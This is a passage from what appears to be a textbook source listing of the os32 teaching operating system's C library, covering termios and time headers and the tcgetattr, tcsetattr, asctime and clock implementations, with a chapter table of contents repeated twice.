4010011 struct termios {
4010012     tcflag_t c_iflag;
4010013     tcflag_t c_oflag;
4010014     tcflag_t c_cflag;
4010015     tcflag_t c_lflag;
4010016     cc_t     c_cc[NCCS];
4010017 };
4010018 //
4010019 // Subscript names for `c_cc[]' array, inside the `termios' structure:
4010020 //
4010021 #define VEOF      0     // EOF   character
4010022 #define VEOL      1     // EOL   character
4010023 #define VERASE    2     // ERASE character
4010024 #define VINTR     3     // INTR  character
4010025 #define VKILL     4     // KILL  character
4010026 #define VMIN      5     // MIN   value
4010027 #define VQUIT     6     // QUIT  character
4010028 #define VSTART    7     // START character
4010029 #define VSTOP     8     // STOP  character
4010030 #define VSUSP     9     // SUSP  character
4010031 #define VTIME    10     // TIME  value
4010032 //
4010033 // Input modes, for `c_iflag' inside the `termios' structure:
4010034 //
4010035 #define BRKINT    1     // signal interrupt on break
4010036 #define ICRNL     2     // map CR to NL on input
4010037 #define IGNBRK    4     // ignore break condition
4010038 #define IGNCR     8     // ignore CR
```

```
4010039 #define IGNPAR   16     // ignore characters with parity errors
4010040 #define INLCR    32     // map NL to CR on input
4010041 #define INPCK    64     // enable input parity check
4010042 #define ISTRIP  128     // strip off eighth bit
4010043 #define IXOFF   256     // enable start/stop input control
4010044 #define IXON    512     // enable start/stop output control
4010045 #define PARMRK 1024     // mark parity errors
4010046 //
4010047 // Output modes, for 'c_oflag' inside the 'termios' structure:
4010048 //
4010049 #define OPOST     1     // post-process output
4010050 //
4010051 // Control modes, for 'c_cflag' inside the 'termios' structure:
4010052 //   not implemented.
4010053 //
4010054 //
4010055 // Local modes, for 'c_lflag' inside the 'termios' structure:
4010056 //
4010057 #define ECHO      1     // enable echo
4010058 #define ECHOE     2     // echo erase character as backspace
4010059 #define ECHOK     4     // echo KILL
4010060 #define ECHONL    8     // echo NL
4010061 #define ICANON   16     // canonical input mode
4010062 #define IEXTEN   32     // extended input mode
4010063 #define ISIG     64     // enable signals
4010064 #define NOFLSH  128     // disable flush after interrupt or quit
4010065 #define TOSTOP  256     // send SIGTTOU for background output
4010066 //----------------------------------------------------------------------
4010067 // Optional action for use with 'tcsetattr()':
4010068 //
4010069 #define TCSANOW   1     // change attributes immediately
4010070 #define TCSADRAIN 2     // change attributes when output has drained
4010071 #define TCSAFLUSH 3     // change attributes when output has drained,
4010072                         //  and also flush pending input
4010073 //----------------------------------------------------------------------
4010074 int tcgetattr (int fdn, struct termios *termios_p);
4010075 int tcsetattr (int fdn, int action, struct termios *termios_p);
4010076 //----------------------------------------------------------------------
4010077 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457

120.1.2 lib/SEEK.h 7457

120.1.3 lib/assert.h 7457

120.1.4 lib/clock_t.h 7458

120.1.5 lib/ctype.h 7458

120.1.6 lib/limits.h 7459

120.1.7 lib/ptrdiff_t.h 7460

120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591

120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675

120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734
120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747
120.17 os32: «lib/sys/types.h» 7747
120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754
120.18 os32: «lib/sys/wait.h» 7755
120.18.1 lib/sys/wait/wait.c 7761
120.19 os32: «lib/termios.h» 7762
120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770
120.20 os32: «lib/time.h» 7771
120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788
120.21 os32: «lib/unistd.h» 7788
120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802

120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.19.1 lib/termios/tcgetattr.c

Si veda la sezione 112.48.

```
4020001 #include <termios.h>
4020002 #include <sys/os32.h>
4020003 #include <errno.h>
4020004 //----------------------------------------------------------------------
4020005 int
4020006 tcgetattr (int fdn, struct termios *termios_p)
4020007 {
4020008   sysmsg_tcattr_t msg;
4020009   int             c;
4020010   //
4020011   if (termios_p == NULL)
4020012     {
4020013       errset (EINVAL);
4020014       return (-1);
4020015     }
4020016   //
4020017   // System call.
4020018   //
4020019   sys (SYS_TCGETATTR, &msg, (sizeof msg));
4020020   //
4020021   termios_p->c_iflag = msg.attr.c_iflag;
4020022   termios_p->c_oflag = msg.attr.c_oflag;
4020023   termios_p->c_cflag = msg.attr.c_cflag;
4020024   termios_p->c_lflag = msg.attr.c_lflag;
4020025   //
4020026   for (c = 0; c < NCCS; c++)
4020027   {
4020028     termios_p->c_cc[c] = msg.attr.c_cc[c];
4020029   }
4020030   //
4020031   errno = msg.errno;
4020032   errln = msg.errln;
4020033   strncpy (errfn, msg.errfn, PATH_MAX);
4020034   return (msg.ret);
4020035 }
```

120.19.2 lib/termios/tcsetattr.c

Si veda la sezione 112.48.

```
4030001 #include <termios.h>
4030002 #include <sys/os32.h>
4030003 #include <errno.h>
4030004 //----------------------------------------------------------------------
4030005 #define DEBUG 0
4030006 //----------------------------------------------------------------------
4030007 int
```

```
4030008 tcsetattr (int fdn, int action, struct termios *termios_p)
4030009 {
4030010   sysmsg_tcattr_t msg;
4030011   int             c;
4030012   //
4030013   if (termios_p == NULL)
4030014     {
4030015       errset (EINVAL);
4030016       return (-1);
4030017     }
4030018   //
4030019   msg.action = action;
4030020   //
4030021   msg.attr.c_iflag = termios_p->c_iflag;
4030022   msg.attr.c_oflag = termios_p->c_oflag;
4030023   msg.attr.c_cflag = termios_p->c_cflag;
4030024   msg.attr.c_lflag = termios_p->c_lflag;
4030025   //
4030026   for (c = 0; c < NCCS; c++)
4030027   {
4030028     msg.attr.c_cc[c] = termios_p->c_cc[c];
4030029   }
4030030   //
4030031   // Debug?
4030032   //
4030033   if (DEBUG)
4030034     {
4030035       printf ("%s:%i:c_iflag=%04x c_oflag=%04x "
4030036               "c_cflag=%04x c_lflag=%04x ",
4030037               __FILE__, __LINE__,
4030038               (int) msg.attr.c_iflag,
4030039               (int) msg.attr.c_oflag,
4030040               (int) msg.attr.c_cflag,
4030041               (int) msg.attr.c_lflag);
4030042       //
4030043       for (c = 0; c < NCCS; c++)
4030044         {
4030045           printf ("c_cc[%i]=%02x ", c, (int) msg.attr.c_cc[c]);
4030046         }
4030047       printf ("\n");
4030048     }
4030049   //
4030050   // System call.
4030051   //
4030052   sys (SYS_TCSETATTR, &msg, (sizeof msg));
4030053   //
4030054   errno = msg.errno;
4030055   errln = msg.errln;
4030056   strncpy (errfn, msg.errfn, PATH_MAX);
4030057   return (msg.ret);
4030058 }
```

120.20 os32: «lib/time.h»

«

Si veda la sezione 116.2.

```
4040001 #ifndef _TIME_H
4040002 #define _TIME_H       1
4040003 //----------------------------------------------------------------------
4040004 #include <restrict.h>
4040005 #include <size_t.h>
4040006 #include <time_t.h>
4040007 #include <clock_t.h>
4040008 #include <NULL.h>
4040009 #include <stdint.h>
4040010 //----------------------------------------------------------------------
4040011 #define CLOCKS_PER_SEC  ((clock_t) 100)
4040012 //----------------------------------------------------------------------
4040013 struct tm {int tm_sec;  int tm_min;  int tm_hour;
4040014            int tm_mday; int tm_mon;  int tm_year;
4040015            int tm_wday; int tm_yday; int tm_isdst;};
4040016 //----------------------------------------------------------------------
4040017 clock_t    clock     (void);
4040018 time_t     time      (time_t *timer);
4040019 int        stime     (time_t *timer);
4040020 double     difftime  (time_t time1, time_t time0);
4040021 time_t     mktime    (const struct tm *timeptr);
4040022 struct tm *gmtime    (const time_t *timer);
4040023 struct tm *localtime (const time_t *timer);
4040024 char      *asctime   (const struct tm *timeptr);
4040025 char      *ctime     (const time_t *timer);
4040026 size_t     strftime  (char * restrict s, size_t maxsize,
4040027                       const char * restrict format,
4040028                       const struct tm * restrict timeptr);
4040029 //----------------------------------------------------------------------
4040030 #define difftime(t1,t0)  ((double)((t1)-(t0)))
4040031 #define ctime(t)         (asctime (localtime (t)))
4040032 #define localtime(t)     (gmtime (t))
4040033 //----------------------------------------------------------------------
4040034 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457

120.1.2 lib/SEEK.h 7457

120.1.3 lib/assert.h 7457

120.1.4 lib/clock_t.h 7458

120.1.5 lib/ctype.h 7458

120.1.6 lib/limits.h 7459

120.1.7 lib/ptrdiff_t.h 7460

120.1.8 lib/restrict.h 7460

120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591

120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675

120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802

120.21.12 lib/unistd/execlp.c 7802

120.21.13 lib/unistd/execv.c 7803

120.21.14 lib/unistd/execve.c 7804

120.21.15 lib/unistd/execvp.c 7805

120.21.16 lib/unistd/fchdir.c 7806

120.21.17 lib/unistd/fchown.c 7806

120.21.18 lib/unistd/fork.c 7807

120.21.19 lib/unistd/getcwd.c 7808

120.21.20 lib/unistd/getegid.c 7809

120.21.21 lib/unistd/geteuid.c 7809

120.21.22 lib/unistd/getgid.c 7810

120.21.23 lib/unistd/getopt.c 7810

120.21.24 lib/unistd/getpgrp.c 7815

120.21.25 lib/unistd/getpid.c 7815

120.21.26 lib/unistd/getppid.c 7815

120.21.27 lib/unistd/getuid.c 7816

120.21.28 lib/unistd/isatty.c 7816

120.21.29 lib/unistd/link.c 7817

120.21.30 lib/unistd/lseek.c 7818

120.21.31 lib/unistd/pipe.c 7818

120.21.32 lib/unistd/read.c 7819

120.21.33 lib/unistd/rmdir.c 7820

120.21.34 lib/unistd/sbrk.c 7821

120.21.35 lib/unistd/setegid.c 7822

120.21.36 lib/unistd/seteuid.c 7822

120.21.37 lib/unistd/setgid.c 7823

120.21.38 lib/unistd/setpgrp.c 7823

120.21.39 lib/unistd/setuid.c 7823

120.21.40 lib/unistd/sleep.c 7824

120.21.41 lib/unistd/ttyname.c 7825

120.21.42 lib/unistd/unlink.c 7826

120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.20.1 lib/time/asctime.c

Si veda la sezione 113.14.

```
4050001 #include <time.h>
4050002 #include <string.h>
4050003 #include <stdio.h>
4050004 //----------------------------------------------------------------------
4050005 char *
4050006 asctime (const struct tm *timeptr)
4050007 {
4050008     static char time_string[25]; // 'Sun Jan 30 24:00:00 2111'
4050009     //
4050010     // Check argument.
4050011     //
4050012     if (timeptr == NULL)
4050013       {
4050014         return (NULL);
4050015       }
4050016     //
4050017     // Set week day.
4050018     //
4050019     switch (timeptr->tm_wday)
4050020       {
4050021         case 0:
4050022             strcpy (&time_string[0], "Sun");
4050023             break;
4050024         case 1:
4050025             strcpy (&time_string[0], "Mon");
4050026             break;
4050027         case 2:
4050028             strcpy (&time_string[0], "Tue");
4050029             break;
4050030         case 3:
4050031             strcpy (&time_string[0], "Wed");
4050032             break;
4050033         case 4:
4050034             strcpy (&time_string[0], "Thu");
4050035             break;
4050036         case 5:
4050037             strcpy (&time_string[0], "Fri");
4050038             break;
4050039         case 6:
4050040             strcpy (&time_string[0], "Sat");
4050041             break;
4050042         default:
4050043             strcpy (&time_string[0], "Err");
4050044       }
4050045     //
4050046     // Set month.
4050047     //
4050048     switch (timeptr->tm_mon)
4050049       {
```

```
4050050             case 1:
4050051                 strcpy (&time_string[3], " Jan");
4050052                 break;
4050053             case 2:
4050054                 strcpy (&time_string[3], " Feb");
4050055                 break;
4050056             case 3:
4050057                 strcpy (&time_string[3], " Mar");
4050058                 break;
4050059             case 4:
4050060                 strcpy (&time_string[3], " Apr");
4050061                 break;
4050062             case 5:
4050063                 strcpy (&time_string[3], " May");
4050064                 break;
4050065             case 6:
4050066                 strcpy (&time_string[3], " Jun");
4050067                 break;
4050068             case 7:
4050069                 strcpy (&time_string[3], " Jul");
4050070                 break;
4050071             case 8:
4050072                 strcpy (&time_string[3], " Aug");
4050073                 break;
4050074             case 9:
4050075                 strcpy (&time_string[3], " Sep");
4050076                 break;
4050077             case 10:
4050078                 strcpy (&time_string[3], " Oct");
4050079                 break;
4050080             case 11:
4050081                 strcpy (&time_string[3], " Nov");
4050082                 break;
4050083             case 12:
4050084                 strcpy (&time_string[3], " Dec");
4050085                 break;
4050086             default:
4050087                 strcpy (&time_string[3], " Err");
4050088           }
4050089         //
4050090         // Set day of month, hour, minute, second and year.
4050091         //
4050092         sprintf (&time_string[7], " %2i %2i:%2i:%2i %4i",
4050093                  timeptr->tm_mday,  timeptr->tm_hour,  timeptr->tm_min,
4050094                  timeptr->tm_sec,  timeptr->tm_year);
4050095         //
4050096         //
4050097         //
4050098         return (&time_string[0]);
4050099     }
```

120.20.2 lib/time/clock.c

Si veda la sezione 112.7.

```
4060001 #include <time.h>
4060002 #include <sys/os32.h>
4060003 //----------------------------------------------------------------------
4060004 clock_t
4060005 clock (void)
4060006 {
4060007     sysmsg_clock_t msg;
4060008     msg.ret = 0;
4060009     sys (SYS_CLOCK, &msg, (sizeof msg));
4060010     return (msg.ret);
4060011 }
4060012
```

120.20.3 lib/time/gmtime.c

Si veda la sezione 113.14.

```
